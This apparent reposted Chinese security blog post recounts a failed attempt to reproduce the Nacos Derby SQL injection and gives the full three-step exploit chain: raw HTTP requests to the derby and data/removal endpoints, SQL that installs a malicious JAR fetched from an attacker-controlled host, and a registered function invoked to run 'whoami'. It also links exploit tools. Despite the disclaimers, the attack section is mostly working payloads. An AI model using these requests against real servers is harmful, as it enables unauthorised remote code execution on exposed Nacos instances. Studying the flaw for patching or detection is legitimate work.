文章总结: 本文记录一次失败的NacosDerbySQL注入漏洞复现过程。作者详细描述了漏洞前置条件(Nacos版本、Derby存储模式、未开启鉴权)及三步利用流程:探测注入点、通过removal接口写入恶意SQL、触发命令执行。作者因目标存储模式非Derby导致复现失败,并强调仅供授权测试使用。文章提供了完整利用代码和工具链接,具有较强实战参考价值。 综合评分: 82 文章分类: 漏洞分析,渗透测试,漏洞POC,红队
记一次失败的挖洞经历,Nacos Derby SQL Injection复现流程
原创
是老A 是老A
老A搞安全
2026年9月23日 07:54 贵州
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
一位深耕网络安全的老兵,目前是一家安全公司的技术分管,擅长渗透测试及安全培训方向,老A的愿望是大家没烦恼,一切顺心!
漏洞工具分享:
NacosExploit(命令行版):https://github.com/h0ny/NacosExploitNacosExploitGUI(图形化版):https://github.com/charonlight/NacosExploitGUI
Nacos Derby SQL Injection漏洞前置条件确认
1、版本要求:Nacos <= 2.4.0-BETA
2、存储模式:必须使用内置 Derby 数据库
3、鉴权状态:需要未开启鉴权(auth_enabled=false)
复现过程(bp手工复测):
第一步:探测注入点
GET /nacos/v1/cs/ops/derby?sql=select%20%2a%20from%20users HTTP/1.1Host: <target>:8848
如果返回用户表数据(用户名、密码哈希),说明注入点有效。这一步是最低成本验证
但我遇到的情况是,Nacos 的存储模式不是 Derby,因此该漏洞无法在此目标上复现成功!
理想情况下第二步:通过 removal 接口写入恶意 SQL
换一个 POST 请求,打
/nacos/v1/cs/ops/data/removal和``multipart/form-data 格式,
file 参数的值就是我们要注入的 SQL:
CALL sqlj.install_jar('http://<your-vps>/evil.jar', 'NACOS.xxxxxxxx', 0)CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','NACOS.xxxxxxxx')CREATE FUNCTION S_EXAMPLE_xxxxxxxx( PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
注:install_jar 把恶意 JAR 装进 Derby 的 SYS.SYSFILES 系统表,SET_DATABASE_PROPERTY 设置 Derby 类路径让引擎能加载它,CREATE FUNCTION 把 JAR 里的 exec 方法映射成一个可以调用的数据库函数
xxxxxxxx 换成随机 8 位字符串,evil.jar 是你自己编译的恶意类,Java 代码就一个静态 exec 方法执行传入参数即可
第三步:通过 derby 接口触发命令
回到 derby 接口,调用刚创建的函数:
GET /nacos/v1/cs/ops/derby?sql=select%20%2a%20from%20(select%20count(%2a)%20as%20b%2c%20S_EXAMPLE_xxxxxxxx('whoami')%20as%20a%20from%20config_info)%20tmp%20%2f%2aROWS%20FETCH%20NEXT%2a%2f HTTP/1.1
解码后的 SQL:
select * from (select count(*) as b, S_EXAMPLE_xxxxxxxx('whoami') as a from config_info) tmp /*ROWS FETCH NEXT*/
这里的 /*ROWS FETCH NEXT*/ 注释是为了绕过 Nacos 对结果集的限制逻辑。命令回显可以在 Burp 的 Response 里看到
⚠️ 法律声明:以上内容仅供安全学习和授权测试使用。未经授权的漏洞利用属于违法行为,请勿对未经授权的目标进行测试
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:老A搞安全 是老A 是老A《记一次失败的挖洞经历,Nacos Derby SQL Injection复现流程》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论